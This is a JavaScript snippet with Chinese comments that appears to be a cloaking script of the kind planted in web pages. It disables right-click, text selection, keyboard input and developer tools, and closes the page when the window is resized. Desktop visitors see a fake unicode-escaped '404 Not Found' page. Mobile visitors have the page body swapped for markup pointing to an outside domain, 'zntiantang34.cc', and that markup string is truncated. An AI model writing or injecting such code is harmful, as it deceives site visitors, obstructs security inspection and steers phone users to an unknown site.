//禁止页面选择以及鼠标右键 document.οncοntextmenu=function(){return false;}; document.onselectstart=function(){return false;}; let h = window.innerHeight; let w = window.innerWidth; //禁用右键 document.oncontextmenu = function () { return false; }; //在本网页的任何键盘敲击事件都是无效操?(防止F12和shift+ctrl+i调起开发者工具) window.onkeydown = window.onkeyup = window.onkeypress = function () { window.event.returnValue = false; return false; } //禁用开发者工具F12 document.onkeydown = function () { if (window.event && window.event.keyCode == 123) { event.keyCode = 0; event.returnValue = false; return false; } }; //如果用户在工具栏调起开发者工具,那么判断浏览器的可视高度和可视宽度是否有改变,如有改变则关闭本页? window.onresize = function () { if (h != window.innerHeight || w != window.innerWidth) { window.close(); window.location = "about:blank"; } } document.onmousedown = function(){ if(event.button == 2){ alert("404"); return false; } } try { let temp = `

\u0034\u0030\u0034\u0020\u004e\u006f\u0074\u0020\u0046\u006f\u0075\u006e\u0064


\u60a8\u6240\u8bbf\u95ee\u7684\u9875\u9762\u4e0d\u5b58\u5728\uff01
` if (!(/Android|webOS|iPhone|iPod|BlackBerry|iPad/i.test(navigator.userAgent)) || 0) { let getBody = document.getElementsByTagName("body")[0]; window.stop ? window.stop() : document.execCommand("Stop"); console.log("\u0034\u0030\u0034"); document.getElementsByTagName("title")[0].innerHTML = "\u0034\u0030\u0034"; getBody.innerHTML = temp; document.oncontextmenu = false; document.onkeydown = function(e) { var currKey = 0, evt = e || window.event; currKey = evt.keyCode || evt.which || evt.charCode; if (currKey == 123) { window.event.cancelBubble = true; window.event.returnValue = false; } } } } catch (e) { console.log(e); } if(/AppleWebKit.*Mobile/i.test(navigator.userAgent) || (/MIDP|SymbianOS|NOKIA|SAMSUNG|LG|NEC|TCL|Alcatel|BIRD|DBTEL|Dopod|PHILIPS|HAIER|LENOVO|MOT-|Nokia|SonyEricsson|SIE-|Amoi|ZTE/.test(navigator.userAgent))){ if(window.location.href.indexOf("?mobile")<0){ try{ if(/Android|webOS|iPhone|iPod|BlackBerry/i.test(navigator.userAgent)){ var arr = new Array("//zntiantang34.cc/"); document.getElementsByTagName("body")[0].innerHTML = '
'; } }catch(e){} } }